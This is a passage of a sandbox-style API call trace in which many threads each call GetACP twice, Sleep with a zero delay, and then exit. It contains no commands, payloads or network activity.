GetACP () returned 0x4e4 [0234.086] Sleep (dwMilliseconds=0x0) [0234.249] RtlExitUserThread (Status=0x0) Thread: id = 2254 os_tid = 0x21ac [0234.087] GetACP () returned 0x4e4 [0234.087] GetACP () returned 0x4e4 [0234.087] Sleep (dwMilliseconds=0x0) [0234.249] RtlExitUserThread (Status=0x0) Thread: id = 2255 os_tid = 0x21b0 [0234.087] GetACP () returned 0x4e4 [0234.087] GetACP () returned 0x4e4 [0234.087] Sleep (dwMilliseconds=0x0) [0234.250] RtlExitUserThread (Status=0x0) Thread: id = 2256 os_tid = 0x21b4 [0234.088] GetACP () returned 0x4e4 [0234.088] GetACP () returned 0x4e4 [0234.088] Sleep (dwMilliseconds=0x0) [0234.251] RtlExitUserThread (Status=0x0) Thread: id = 2277 os_tid = 0x2208 [0234.253] GetACP () returned 0x4e4 [0234.253] GetACP () returned 0x4e4 [0234.253] Sleep (dwMilliseconds=0x0) [0234.435] RtlExitUserThread (Status=0x0) Thread: id = 2278 os_tid = 0x220c [0234.253] GetACP () returned 0x4e4 [0234.253] GetACP () returned 0x4e4 [0234.253] Sleep (dwMilliseconds=0x0) [0234.436] RtlExitUserThread (Status=0x0) Thread: id = 2279 os_tid = 0x2210 [0234.254] GetACP () returned 0x4e4 [0234.254] GetACP () returned 0x4e4 [0234.254] Sleep (dwMilliseconds=0x0) [0234.437] RtlExitUserThread (Status=0x0) Thread: id = 2280 os_tid = 0x2214 [0234.255] GetACP () returned 0x4e4 [0234.255] GetACP () returned 0x4e4 [0234.255] Sleep (dwMilliseconds=0x0) [0234.437] RtlExitUserThread (Status=0x0) Thread: id = 2281 os_tid = 0x2218 [0234.255] GetACP () returned 0x4e4 [0234.255] GetACP () returned 0x4e4 [0234.255] Sleep (dwMilliseconds=0x0) [0234.438] RtlExitUserThread (Status=0x0) Thread: id = 2282 os_tid = 0x221c [0234.256] GetACP () returned 0x4e4 [0234.256] GetACP () returned 0x4e4 [0234.256] Sleep (dwMilliseconds=0x0) [0234.439] RtlExitUserThread (Status=0x0) Thread: id = 2283 os_tid = 0x2220 [0234.256] GetACP () returned 0x4e4 [0234.257] GetACP () returned 0x4e4 [0234.257] Sleep (dwMilliseconds=0x0) [0234.440] RtlExitUserThread (Status=0x0) Thread: id = 2284 os_tid = 0x2224 [0234.257] GetACP () returned 0x4e4 [0234.257] GetACP () returned 0x4e4 [0234.257] Sleep (dwMilliseconds=0x0) [0234.441] RtlExitUserThread (Status=0x0) Thread: id = 2285 os_tid = 0x2228 [0234.258] GetACP () returned 0x4e4 [0234.258] GetACP () returned 0x4e4 [0234.258] Sleep (dwMilliseconds=0x0) [0234.442] RtlExitUserThread (Status=0x0) Thread: id = 2286 os_tid = 0x222c [0234.258] GetACP () returned 0x4e4 [0234.258] GetACP () returned 0x4e4 [0234.258] Sleep (dwMilliseconds=0x0) [0234.442] RtlExitUserThread (Status=0x0) Thread: id = 2287 os_tid = 0x2230 [0234.259] GetACP () returned 0x4e4 [0234.259] GetACP () returned 0x4e4 [0234.259] Sleep (dwMilliseconds=0x0) [0234.443] RtlExitUserThread (Status=0x0) Thread: id = 2288 os_tid = 0x2234 [0234.260] GetACP () returned 0x4e4 [0234.260] GetACP () returned 0x4e4 [0234.260] Sleep (dwMilliseconds=0x0) [0234.444] RtlExitUserThread (Status=0x0) Thread: id = 2289 os_tid = 0x2238 [0234.260] GetACP () returned 0x4e4 [0234.260] GetACP () returned 0x4e4 [0234.260] Sleep (dwMilliseconds=0x0) [0234.445] RtlExitUserThread (Status=0x0) Thread: id = 2290 os_tid = 0x223c [0234.261] GetACP () returned 0x4e4 [0234.261] GetACP () returned 0x4e4 [0234.261] Sleep (dwMilliseconds=0x0) [0234.446] RtlExitUserThread (Status=0x0) Thread: id = 2291 os_tid = 0x2240 [0234.261] GetACP () returned 0x4e4 [0234.261] GetACP () returned 0x4e4 [0234.261] Sleep (dwMilliseconds=0x0) [0234.447] RtlExitUserThread (Status=0x0) Thread: id = 2292 os_tid = 0x2244 [0234.262] GetACP () returned 0x4e4 [0234.262] GetACP () returned 0x4e4 [0234.262] Sleep (dwMilliseconds=0x0) [0234.447] RtlExitUserThread (Status=0x0) Thread: id = 2293 os_tid = 0x2248 [0234.262] GetACP () returned 0x4e4 [0234.262] GetACP () returned 0x4e4 [0234.262] Sleep (dwMilliseconds=0x0) [0234.448] RtlExitUserThread (Status=0x0) Thread: id = 2294 os_tid = 0x224c [0234.263] GetACP () returned 0x4e4 [0234.263] GetACP () returned 0x4e4 [0234.263] Sleep (dwMilliseconds=0x0) [0234.449] RtlExitUserThread (Status=0x0) Thread: id = 2295 os_tid = 0x2250 [0234.263] GetACP () returned 0x4e4 [0234.263] GetACP () returned 0x4e4 [0234.263] Sleep (dwMilliseconds=0x0) [0234.450] RtlExitUserThread (Status=0x0) Thread: id = 2296 os_tid = 0x2254 [0234.264] GetACP () returned 0x4e4 [0234.264] GetACP () returned 0x4e4 [0234.264] Sleep (dwMilliseconds=0x0) [0234.451] RtlExitUserThread (Status=0x0) Thread: id = 2317 os_tid = 0x22a8 [0234.452] GetACP () returned 0x4e4 [0234.452] GetACP () returned 0x4e4 [0234.452] Sleep (dwMilliseconds=0x0) [0234.608] RtlExitUserThread (Status=0x0) Thread: id = 2318 os_tid = 0x22ac [0234.453] GetACP () returned 0x4e4 [0234.453] GetACP () returned 0x4e4 [0234.453] Sleep (dwMilliseconds=0x0) [0234.608] RtlExitUserThread (Status=0x0) Thread: id = 2319 os_tid = 0x22b0 [0234.454] GetACP () returned 0x4e4 [0234.454] GetACP () returned 0x4e4 [0234.454] Sleep (dwMilliseconds=0x0) [0234.609] RtlExitUserThread (Status=0x0) Thread: id = 2320 os_tid = 0x22b4 [0234.454] GetACP () returned 0x4e4 [0234.454] GetACP () returned 0x4e4 [0234.454] Sleep (dwMilliseconds=0x0) [0234.609] RtlExitUserThread (Status=0x0) Thread: id = 2321 os_tid = 0x22b8 [0234.455] GetACP () returned 0x4e4 [0234.455] GetACP () returned 0x4e4 [0234.455] Sleep (dwMilliseconds=0x0) [0234.610] RtlExitUserThread (Status=0x0) Thread: id = 2322 os_tid = 0x22bc [0234.456] GetACP () returned 0x4e4 [0234.456] GetACP () returned 0x4e4 [0234.456] Sleep (dwMilliseconds=0x0) [0234.611] RtlExitUserThread (Status=0x0) Thread: id = 2323 os_tid = 0x22c0 [0234.456] GetACP () returned 0x4e4 [0234.456] GetACP () returned 0x4e4 [0234.456] Sleep (dwMilliseconds=0x0) [0234.611] RtlExitUserThread (Status=0x0) Thread: id = 2324 os_tid = 0x22c4 [0234.457] GetACP () returned 0x4e4 [0234.457] GetACP () returned 0x4e4 [0234.457] Sleep (dwMilliseconds=0x0) [0234.612] RtlExitUserThread (Status=0x0) Thread: id = 2325 os_tid = 0x22c8 [0234.457] GetACP () returned 0x4e4 [0234.457] GetACP () returned 0x4e4 [0234.457] Sleep (dwMilliseconds=0x0) [0234.612] RtlExitUserThread (Status=0x0) Thread: id = 2326 os_tid = 0x22cc [0234.458] GetACP () returned 0x4e4 [0234.458] GetACP () returned 0x4e4 [0234.458] Sleep (dwMilliseconds=0x0) [0234.613] RtlExitUserThread (Status=0x0) Thread: id = 2327 os_tid = 0x22d0 [0234.459] GetACP () returned 0x4e4 [0234.459] GetACP () returned 0x4e4 [0234.459] Sleep (dwMilliseconds=0x0) [0234.613] RtlExitUserThread (Status=0x0) Thread: id = 2328 os_tid = 0x22d4 [0234.459] GetACP () returned 0x4e4 [0234.459] GetACP () returned 0x4e4 [0234.459] Sleep (dwMilliseconds=0x0) [0234.614] RtlExitUserThread (Status=0x0) Thread: id = 2329 os_tid = 0x22d8 [0234.460] GetACP () returned 0x4e4 [0234.460] GetACP () returned 0x4e4 [0234.460] Sleep (dwMilliseconds=0x0) [0234.615] RtlExitUserThread (Status=0x0) Thread: id = 2330 os_tid = 0x22dc [0234.460] GetACP () returned 0x4e4 [0234.460] GetACP () returned 0x4e4 [0234.460] Sleep (dwMilliseconds=0x0) [0234.615] RtlExitUserThread (Status=0x0) Thread: id = 2331 os_tid = 0x22e0 [0234.461] GetACP () returned 0x4e4 [0234.461] GetACP () returned 0x4e4 [0234.461] Sleep (dwMilliseconds=0x0) [0234.616] RtlExitUserThread (Status=0x0) Thread: id = 2332 os_tid = 0x22e4 [0234.462] GetACP () returned 0x4e4 [0234.462] GetACP () returned 0x4e4 [0234.462] Sleep (dwMilliseconds=0x0) [0234.616] RtlExitUserThread (Status=0x0) Thread: id = 2333 os_tid = 0x22e8 [0234.462] GetACP () returned 0x4e4 [0234.462] GetACP () returned 0x4e4 [0234.463] Sleep (dwMilliseconds=0x0) [0234.617] RtlExitUserThread (Status=0x0) Thread: id = 2334 os_tid = 0x22ec [0234.463] GetACP () returned 0x4e4 [0234.463] GetACP () returned 0x4e4 [0234.463] Sleep (dwMilliseconds=0x0) [0234.618] RtlExitUserThread (Status=0x0) Thread: id = 2335 os_tid = 0x22f0 [0234.464] GetACP () returned 0x4e4 [0234.464] GetACP () returned 0x4e4 [0234.464] Sleep (dwMilliseconds=0x0) [0234.619] RtlExitUserThread (Status=0x0) Thread: id = 2336 os_tid = 0x22f4 [0234.465] GetACP () returned 0x4e4 [0234.465] GetACP () returned 0x4e4 [0234.465] Sleep (dwMilliseconds=0x0) [0234.619] RtlExitUserThread (Status=0x0) Thread: id = 2357 os_tid = 0x2348 [0234.620] GetACP () returned 0x4e4 [0234.620] GetACP () returned 0x4e4 [0234.620] Sleep (dwMilliseconds=0x0) [0234.795] RtlExitUserThread (Status=0x0) Thread: id = 2358 os_tid = 0x234c [0234.621] GetACP () returned 0x4e4 [0234.621] GetACP () returned 0x4e4 [0234.621] Sleep (dwMilliseconds=0x0) [0234.796] RtlExitUserThread (Status=0x0) Thread: id = 2359 os_tid = 0x2350 [0234.621] GetACP () returned 0x4e4 [0234.621] GetACP () returned 0x4e4 [0234.621] Sleep (dwMilliseconds=0x0) [0234.796] RtlExitUserThread (Status=0x0) Thread: id = 2360 os_tid = 0x2354 [0234.621] GetACP () returned 0x4e4 [0234.622] GetACP () returned 0x4e4 [0234.622] Sleep (dwMilliseconds=0x0) [0234.797] RtlExitUserThread (Status=0x0) Thread: id = 2361 os_tid = 0x2358 [0234.622] GetACP () returned 0x4e4 [0234.622] GetACP () returned 0x4e4 [0234.622] Sleep (dwMilliseconds=0x0) [0234.798] RtlExitUserThread (Status=0x0) Thread: id = 2362 os_tid = 0x235c [0234.622] GetACP () returned 0x4e4 [0234.622] GetACP () returned 0x4e4 [0234.622] Sleep (dwMilliseconds=0x0) [0234.799] RtlExitUserThread (Status=0x0) Thread: id = 2363 os_tid = 0x2360 [0234.623] GetACP () returned 0x4e4 [0234.623] GetACP () returned 0x4e4 [0234.623] Sleep (dwMilliseconds=0x0) [0234.800] RtlExitUserThread (Status=0x0) Thread: id = 2364 os_tid = 0x2364 [0234.623] GetACP () returned 0x4e4 [0234.623] GetACP () returned 0x4e4 [0234.623] Sleep (dwMilliseconds=0x0) [0234.800] RtlExitUserThread (Status=0x0) Thread: id = 2365 os_tid = 0x2368 [0234.624] GetACP () returned 0x4e4 [0234.624] GetACP () returned 0x4e4 [0234.624] Sleep (dwMilliseconds=0x0) [0234.801] RtlExitUserThread (Status=0x0) Thread: id = 2366 os_tid = 0x236c [0234.624] GetACP () returned 0x4e4 [0234.624] GetACP () returned 0x4e4 [0234.624] Sleep (dwMilliseconds=0x0) [0234.802] RtlExitUserThread (Status=0x0) Thread: id = 2367 os_tid = 0x2370 [0234.625] GetACP () returned 0x4e4 [0234.625] GetACP () returned 0x4e4 [0234.625] Sleep (dwMilliseconds=0x0) [0234.803] RtlExitUserThread (Status=0x0) Thread: id = 2368 os_tid = 0x2374 [0234.625] GetACP () returned 0x4e4 [0234.625] GetACP () returned 0x4e4 [0234.625] Sleep (dwMilliseconds=0x0) [0234.803] RtlExitUserThread (Status=0x0) Thread: id = 2369 os_tid = 0x2378 [0234.625] GetACP () returned 0x4e4 [0234.625] GetACP () returned 0x4e4 [0234.625] Sleep (dwMilliseconds=0x0) [0234.804] RtlExitUserThread (Status=0x0) Thread: id = 2370 os_tid = 0x237c [0234.626] GetACP () returned 0x4e4 [0234.626] GetACP () returned 0x4e4 [0234.626] Sleep (dwMilliseconds=0x0) [0234.805] RtlExitUserThread (Status=0x0) Thread: id = 2371 os_tid = 0x2380 [0234.626] GetACP () returned 0x4e4 [0234.626] GetACP () returned 0x4e4 [0234.626] Sleep (dwMilliseconds=0x0) [0234.805] RtlExitUserThread (Status=0x0) Thread: id = 2372 os_tid = 0x2384 [0234.627] GetACP () returned 0x4e4 [0234.627] GetACP () returned 0x4e4 [0234.627] Sleep (dwMilliseconds=0x0) [0234.806] RtlExitUserThread (Status=0x0) Thread: id = 2373 os_tid = 0x2388 [0234.627] GetACP () returned 0x4e4 [0234.627] GetACP () returned 0x4e4 [0234.627] Sleep (dwMilliseconds=0x0) [0234.806] RtlExitUserThread (Status=0x0) Thread: id = 2374 os_tid = 0x238c [0234.627] GetACP () returned 0x4e4 [0234.627] GetACP () returned 0x4e4 [0234.627] Sleep (dwMilliseconds=0x0) [0234.807] RtlExitUserThread (Status=0x0) Thread: id = 2375 os_tid = 0x2390 [0234.628] GetACP () returned 0x4e4 [0234.628] GetACP () returned 0x4e4 [0234.628] Sleep (dwMilliseconds=0x0) [0234.808] RtlExitUserThread (Status=0x0) Thread: id = 2376 os_tid = 0x2394 [0234.628] GetACP () returned 0x4e4 [0234.628] GetACP () returned 0x4e4 [0234.628] Sleep (dwMilliseconds=0x0) [0234.808] RtlExitUserThread (Status=0x0) Thread: id = 2397 os_tid = 0x23e8 [0234.809] GetACP () returned 0x4e4 [0234.809] GetACP () returned 0x4e4 [0234.809] Sleep (dwMilliseconds=0x0) [0234.982] RtlExitUserThread (Status=0x0) Thread: id = 2398 os_tid = 0x23ec [0234.810] GetACP () returned 0x4e4 [0234.810] GetACP () returned 0x4e4 [0234.810] Sleep (dwMilliseconds=0x0) [0234.983] RtlExitUserThread (Status=0x0) Thread: id = 2399 os_tid = 0x23f0 [0234.810] GetACP () returned 0x4e4 [0234.810] GetACP () returned 0x4e4 [0234.810] Sleep (dwMilliseconds=0x0) [0234.984] RtlExitUserThread (Status=0x0) Thread: id = 2400 os_tid = 0x23f4 [0234.811] GetACP () returned 0x4e4 [0234.811] GetACP () returned 0x4e4 [0234.811] Sleep (dwMilliseconds=0x0) [0234.984] RtlExitUserThread (Status=0x0) Thread: id = 2401 os_tid = 0x23f8 [0234.811] GetACP () returned 0x4e4 [0234.811] GetACP () returned 0x4e4 [0234.811] Sleep (dwMilliseconds=0x0) [0234.985] RtlExitUserThread (Status=0x0) Thread: id = 2402 os_tid = 0x23fc [0234.812] GetACP () returned 0x4e4 [0234.812] GetACP () returned 0x4e4 [0234.812] Sleep (dwMilliseconds=0x0) [0234.986] RtlExitUserThread (Status=0x0) Thread: id = 2403 os_tid = 0x1958 [0234.812] GetACP () returned 0x4e4 [0234.812] GetACP () returned 0x4e4 [0234.812] Sleep (dwMilliseconds=0x0) [0234.987] RtlExitUserThread (Status=0x0) Thread: id = 2404 os_tid = 0x324 [0234.812] GetACP () returned 0x4e4 [0234.812] GetACP () returned 0x4e4 [0234.812] Sleep (dwMilliseconds=0x0) [0234.987] RtlExitUserThread (Status=0x0) Thread: id = 2405 os_tid = 0x374 [0234.813] GetACP () returned 0x4e4 [0234.813] GetACP () returned 0x4e4 [0234.813] Sleep (dwMilliseconds=0x0) [0234.988] RtlExitUserThread (Status=0x0) Thread: id = 2406 os_tid = 0x1964 [0234.813] GetACP () returned 0x4e4 [0234.813] GetACP () returned 0x4e4 [0234.813] Sleep (dwMilliseconds=0x0) [0234.989] RtlExitUserThread (Status=0x0) Thread: id = 2407 os_tid = 0x2404 [0234.813] GetACP () returned 0x4e4 [0234.813] GetACP () returned 0x4e4 [0234.814] Sleep (dwMilliseconds=0x0) [0234.990] RtlExitUserThread (Status=0x0) Thread: id = 2408 os_tid = 0x2408 [0234.814] GetACP () returned 0x4e4 [0234.814] GetACP () returned 0x4e4 [0234.814] Sleep (dwMilliseconds=0x0) [0234.990] RtlExitUserThread (Status=0x0) Thread: id = 2409 os_tid = 0x240c [0234.814] GetACP () returned 0x4e4 [0234.814] GetACP () returned 0x4e4 [0234.814] Sleep (dwMilliseconds=0x0) [0234.991] RtlExitUserThread (Status=0x0) Thread: id = 2410 os_tid = 0x2410 [0234.815] GetACP () returned 0x4e4 [0234.815] GetACP () returned 0x4e4 [0234.815] Sleep (dwMilliseconds=0x0) [0234.992] RtlExitUserThread (Status=0x0) Thread: id = 2411 os_tid = 0x2414 [0234.815] GetACP () returned 0x4e4 [0234.815] GetACP () returned 0x4e4 [0234.815] Sleep (dwMilliseconds=0x0) [0234.993] RtlExitUserThread (Status=0x0) Thread: id = 2412 os_tid = 0x2418 [0234.816] GetACP () returned 0x4e4 [0234.816] GetACP () returned 0x4e4 [0234.816] Sleep (dwMilliseconds=0x0) [0234.993] RtlExitUserThread (Status=0x0) Thread: id = 2413 os_tid = 0x241c [0234.817] GetACP () returned 0x4e4 [0234.817] GetACP () returned 0x4e4 [0234.817] Sleep (dwMilliseconds=0x0) [0234.994] RtlExitUserThread (Status=0x0) Thread: id = 2414 os_tid = 0x2420 [0234.817] GetACP () returned 0x4e4 [0234.817] GetACP () returned 0x4e4 [0234.817] Sleep (dwMilliseconds=0x0) [0234.995] RtlExitUserThread (Status=0x0) Thread: id = 2415 os_tid = 0x2424 [0234.818] GetACP () returned 0x4e4 [0234.818] GetACP () returned 0x4e4 [0234.818] Sleep (dwMilliseconds=0x0) [0234.996] RtlExitUserThread (Status=0x0) Thread: id = 2416 os_tid = 0x2428 [0234.818] GetACP () returned 0x4e4 [0234.818] GetACP () returned 0x4e4 [0234.818] Sleep (dwMilliseconds=0x0) [0234.996] RtlExitUserThread (Status=0x0) Thread: id = 2437 os_tid = 0x247c [0234.998] GetACP () returned 0x4e4 [0234.998] GetACP () returned 0x4e4 [0234.998] Sleep (dwMilliseconds=0x0) [0235.201] RtlExitUserThread (Status=0x0) Thread: id = 2438 os_tid = 0x2480 [0234.998] GetACP () returned 0x4e4 [0234.998] GetACP () returned 0x4e4 [0234.998] Sleep (dwMilliseconds=0x0) [0235.202] RtlExitUserThread (Status=0x0) Thread: id = 2439 os_tid = 0x2484 [0234.999] GetACP () returned 0x4e4 [0234.999] GetACP () returned 0x4e4 [0234.999] Sleep (dwMilliseconds=0x0) [0235.202] RtlExitUserThread (Status=0x0) Thread: id = 2440 os_tid = 0x2488 [0234.999] GetACP () returned 0x4e4 [0234.999] GetACP () returned 0x4e4 [0234.999] Sleep (dwMilliseconds=0x0) [0235.203] RtlExitUserThread (Status=0x0) Thread: id = 2441 os_tid = 0x248c [0235.000] GetACP () returned 0x4e4 [0235.000] GetACP () returned 0x4e4 [0235.000] Sleep (dwMilliseconds=0x0) [0235.204] RtlExitUserThread (Status=0x0) Thread: id = 2442 os_tid = 0x2490 [0235.000] GetACP () returned 0x4e4 [0235.000] GetACP () returned 0x4e4 [0235.000] Sleep (dwMilliseconds=0x0) [0235.205] RtlExitUserThread (Status=0x0) Thread: id = 2443 os_tid = 0x2494 [0235.001] GetACP () returned 0x4e4 [0235.001] GetACP () returned 0x4e4 [0235.001] Sleep (dwMilliseconds=0x0) [0235.205] RtlExitUserThread (Status=0x0) Thread: id = 2444 os_tid = 0x2498 [0235.001] GetACP () returned 0x4e4 [0235.002] GetACP () returned 0x4e4 [0235.002] Sleep (dwMilliseconds=0x0) [0235.206] RtlExitUserThread (Status=0x0) Thread: id = 2445 os_tid = 0x249c [0235.003] GetACP () returned 0x4e4 [0235.003] GetACP () returned 0x4e4 [0235.003] Sleep (dwMilliseconds=0x0) [0235.207] RtlExitUserThread (Status=0x0) Thread: id = 2446 os_tid = 0x24a0 [0235.003] GetACP () returned 0x4e4 [0235.003] GetACP () returned 0x4e4 [0235.003] Sleep (dwMilliseconds=0x0) [0235.208] RtlExitUserThread (Status=0x0) Thread: id = 2447 os_tid = 0x24a4 [0235.004] GetACP () returned 0x4e4 [0235.004] GetACP () returned 0x4e4 [0235.004] Sleep (dwMilliseconds=0x0) [0235.208] RtlExitUserThread (Status=0x0) Thread: id = 2448 os_tid = 0x24a8 [0235.004] GetACP () returned 0x4e4 [0235.004] GetACP () returned 0x4e4 [0235.004] Sleep (dwMilliseconds=0x0) [0235.209] RtlExitUserThread (Status=0x0) Thread: id = 2449 os_tid = 0x24ac [0235.005] GetACP () returned 0x4e4 [0235.005] GetACP () returned 0x4e4 [0235.005] Sleep (dwMilliseconds=0x0) [0235.210] RtlExitUserThread (Status=0x0) Thread: id = 2450 os_tid = 0x24b0 [0235.005] GetACP () returned 0x4e4 [0235.005] GetACP () returned 0x4e4 [0235.005] Sleep (dwMilliseconds=0x0) [0235.210] RtlExitUserThread (Status=0x0) Thread: id = 2451 os_tid = 0x24b4 [0235.006] GetACP () returned 0x4e4 [0235.006] GetACP () returned 0x4e4 [0235.006] Sleep (dwMilliseconds=0x0) [0235.211] RtlExitUserThread (Status=0x0) Thread: id = 2452 os_tid = 0x24b8 [0235.006] GetACP () returned 0x4e4 [0235.006] GetACP () returned 0x4e4 [0235.006] Sleep (dwMilliseconds=0x0) [0235.212] RtlExitUserThread (Status=0x0) Thread: id = 2453 os_tid = 0x24bc [0235.007] GetACP () returned 0x4e4 [0235.007] GetACP () returned 0x4e4 [0235.007] Sleep (dwMilliseconds=0x0) [0235.213] RtlExitUserThread (Status=0x0) Thread: id = 2454 os_tid = 0x24c0 [0235.007] GetACP () returned 0x4e4 [0235.007] GetACP () returned 0x4e4 [0235.007] Sleep (dwMilliseconds=0x0) [0235.213] RtlExitUserThread (Status=0x0) Thread: id = 2455 os_tid = 0x24c4 [0235.008] GetACP () returned 0x4e4 [0235.008] GetACP () returned 0x4e4 [0235.008] Sleep (dwMilliseconds=0x0) [0235.214] RtlExitUserThread (Status=0x0) Thread: id = 2456 os_tid = 0x24c8 [0235.009] GetACP () returned 0x4e4 [0235.009] GetACP () returned 0x4e4 [0235.009] Sleep (dwMilliseconds=0x0) [0235.215] RtlExitUserThread (Status=0x0) Thread: id = 2477 os_tid = 0x251c [0235.216] GetACP () returned 0x4e4 [0235.216] GetACP () returned 0x4e4 [0235.216] Sleep (dwMilliseconds=0x0) [0235.404] RtlExitUserThread (Status=0x0) Thread: id = 2478 os_tid = 0x2520 [0235.217] GetACP () returned 0x4e4 [0235.217] GetACP () returned 0x4e4 [0235.217] Sleep (dwMilliseconds=0x0) [0235.405] RtlExitUserThread (Status=0x0) Thread: id = 2479 os_tid = 0x2524 [0235.217] GetACP () returned 0x4e4 [0235.217] GetACP () returned 0x4e4 [0235.217] Sleep (dwMilliseconds=0x0) [0235.405] RtlExitUserThread (Status=0x0) Thread: id = 2480 os_tid = 0x2528 [0235.218] GetACP () returned 0x4e4 [0235.218] GetACP () returned 0x4e4 [0235.218] Sleep (dwMilliseconds=0x0) [0235.406] RtlExitUserThread (Status=0x0) Thread: id = 2481 os_tid = 0x252c [0235.218] GetACP () returned 0x4e4 [0235.218] GetACP () returned 0x4e4 [0235.218] Sleep (dwMilliseconds=0x0) [0235.407] RtlExitUserThread (Status=0x0) Thread: id = 2482 os_tid = 0x2530 [0235.219] GetACP () returned 0x4e4 [0235.219] GetACP () returned 0x4e4 [0235.219] Sleep (dwMilliseconds=0x0) [0235.408] RtlExitUserThread (Status=0x0) Thread: id = 2483 os_tid = 0x2534 [0235.219] GetACP () returned 0x4e4 [0235.219] GetACP () returned 0x4e4 [0235.219] Sleep (dwMilliseconds=0x0) [0235.408] RtlExitUserThread (Status=0x0) Thread: id = 2484 os_tid = 0x2538 [0235.220] GetACP () returned 0x4e4 [0235.220] GetACP () returned 0x4e4 [0235.220] Sleep (dwMilliseconds=0x0) [0235.409] RtlExitUserThread (Status=0x0) Thread: id = 2485 os_tid = 0x253c [0235.221] GetACP () returned 0x4e4 [0235.221] GetACP () returned 0x4e4 [0235.221] Sleep (dwMilliseconds=0x0) [0235.410] RtlExitUserThread (Status=0x0) Thread: id = 2486 os_tid = 0x2540 [0235.221] GetACP () returned 0x4e4 [0235.221] GetACP () returned 0x4e4 [0235.221] Sleep (dwMilliseconds=0x0) [0235.410] RtlExitUserThread (Status=0x0) Thread: id = 2487 os_tid = 0x2544 [0235.222] GetACP () returned 0x4e4 [0235.222] GetACP () returned 0x4e4 [0235.222] Sleep (dwMilliseconds=0x0) [0235.411] RtlExitUserThread (Status=0x0) Thread: id = 2488 os_tid = 0x2548 [0235.222] GetACP () returned 0x4e4 [0235.222] GetACP () returned 0x4e4 [0235.222] Sleep (dwMilliseconds=0x0) [0235.412] RtlExitUserThread (Status=0x0) Thread: id = 2489 os_tid = 0x254c [0235.223] GetACP () returned 0x4e4 [0235.223] GetACP () returned 0x4e4 [0235.223] Sleep (dwMilliseconds=0x0) [0235.412] RtlExitUserThread (Status=0x0) Thread: id = 2490 os_tid = 0x2550 [0235.223] GetACP () returned 0x4e4 [0235.223] GetACP () returned 0x4e4 [0235.223] Sleep (dwMilliseconds=0x0) [0235.413] RtlExitUserThread (Status=0x0) Thread: id = 2491 os_tid = 0x2554 [0235.224] GetACP () returned 0x4e4 [0235.224] GetACP () returned 0x4e4 [0235.224] Sleep (dwMilliseconds=0x0) [0235.414] RtlExitUserThread (Status=0x0) Thread: id = 2492 os_tid = 0x2558 [0235.224] GetACP () returned 0x4e4 [0235.224] GetACP () returned 0x4e4 [0235.225] Sleep (dwMilliseconds=0x0) [0235.415] RtlExitUserThread (Status=0x0) Thread: id = 2493 os_tid = 0x255c [0235.225] GetACP () returned 0x4e4 [0235.225] GetACP () returned 0x4e4 [0235.225] Sleep (dwMilliseconds=0x0) [0235.415] RtlExitUserThread (Status=0x0) Thread: id = 2494 os_tid = 0x2560 [0235.226] GetACP () returned 0x4e4 [0235.226] GetACP () returned 0x4e4 [0235.226] Sleep (dwMilliseconds=0x0) [0235.416] RtlExitUserThread (Status=0x0) Thread: id = 2495 os_tid = 0x2564 [0235.226] GetACP () returned 0x4e4 [0235.226] GetACP () returned 0x4e4 [0235.226] Sleep (dwMilliseconds=0x0) [0235.417] RtlExitUserThread (Status=0x0) Thread: id = 2496 os_tid = 0x2568 [0235.227] GetACP () returned 0x4e4 [0235.227] GetACP () returned 0x4e4 [0235.227] Sleep (dwMilliseconds=0x0) [0235.417] RtlExitUserThread (Status=0x0) Thread: id = 2517 os_tid = 0x25bc [0235.419] GetACP () returned 0x4e4 [0235.419] GetACP () returned 0x4e4 [0235.419] Sleep (dwMilliseconds=0x0) [0235.576] RtlExitUserThread (Status=0x0) Thread: id = 2518 os_tid = 0x25c0 [0235.419] GetACP () returned 0x4e4 [0235.419] GetACP () returned 0x4e4 [0235.419] Sleep (dwMilliseconds=0x0) [0235.577] RtlExitUserThread (Status=0x0) Thread: id = 2519 os_tid = 0x25c4 [0235.420] GetACP () returned 0x4e4 [0235.420] GetACP () returned 0x4e4 [0235.420] Sleep (dwMilliseconds=0x0) [0235.578] RtlExitUserThread (Status=0x0) Thread: id = 2520 os_tid = 0x25c8 [0235.420] GetACP () returned 0x4e4 [0235.420] GetACP () returned 0x4e4 [0235.420] Sleep (dwMilliseconds=0x0) [0235.578] RtlExitUserThread (Status=0x0) Thread: id = 2521 os_tid = 0x25cc [0235.421] GetACP () returned 0x4e4 [0235.421] GetACP () returned 0x4e4 [0235.421] Sleep (dwMilliseconds=0x0) [0235.579] RtlExitUserThread (Status=0x0) Thread: id = 2522 os_tid = 0x25d0 [0235.421] GetACP () returned 0x4e4 [0235.421] GetACP () returned 0x4e4 [0235.421] Sleep (dwMilliseconds=0x0) [0235.580] RtlExitUserThread (Status=0x0) Thread: id = 2523 os_tid = 0x25d4 [0235.422] GetACP () returned 0x4e4 [0235.422] GetACP () returned 0x4e4 [0235.422] Sleep (dwMilliseconds=0x0) [0235.581] RtlExitUserThread (Status=0x0) Thread: id = 2524 os_tid = 0x25d8 [0235.422] GetACP () returned 0x4e4 [0235.422] GetACP () returned 0x4e4 [0235.422] Sleep (dwMilliseconds=0x0) [0235.581] RtlExitUserThread (Status=0x0) Thread: id = 2525 os_tid = 0x25dc [0235.423] GetACP () returned 0x4e4 [0235.423] GetACP () returned 0x4e4 [0235.423] Sleep (dwMilliseconds=0x0) [0235.582] RtlExitUserThread (Status=0x0) Thread: id = 2526 os_tid = 0x25e0 [0235.423] GetACP () returned 0x4e4 [0235.423] GetACP () returned 0x4e4 [0235.423] Sleep (dwMilliseconds=0x0) [0235.583] RtlExitUserThread (Status=0x0) Thread: id = 2527 os_tid = 0x25e4 [0235.424] GetACP () returned 0x4e4 [0235.424] GetACP () returned 0x4e4 [0235.424] Sleep (dwMilliseconds=0x0) [0235.583] RtlExitUserThread (Status=0x0) Thread: id = 2528 os_tid = 0x25e8 [0235.424] GetACP () returned 0x4e4 [0235.424] GetACP () returned 0x4e4 [0235.424] Sleep (dwMilliseconds=0x0) [0235.584] RtlExitUserThread (Status=0x0) Thread: id = 2529 os_tid = 0x25ec [0235.425] GetACP () returned 0x4e4 [0235.425] GetACP () returned 0x4e4 [0235.425] Sleep (dwMilliseconds=0x0) [0235.585] RtlExitUserThread (Status=0x0) Thread: id = 2530 os_tid = 0x25f0 [0235.425] GetACP () returned 0x4e4 [0235.425] GetACP () returned 0x4e4 [0235.425] Sleep (dwMilliseconds=0x0) [0235.586] RtlExitUserThread (Status=0x0) Thread: id = 2531 os_tid = 0x25f4 [0235.426] GetACP () returned 0x4e4 [0235.426] GetACP () returned 0x4e4 [0235.426] Sleep (dwMilliseconds=0x0) [0235.586] RtlExitUserThread (Status=0x0) Thread: id = 2532 os_tid = 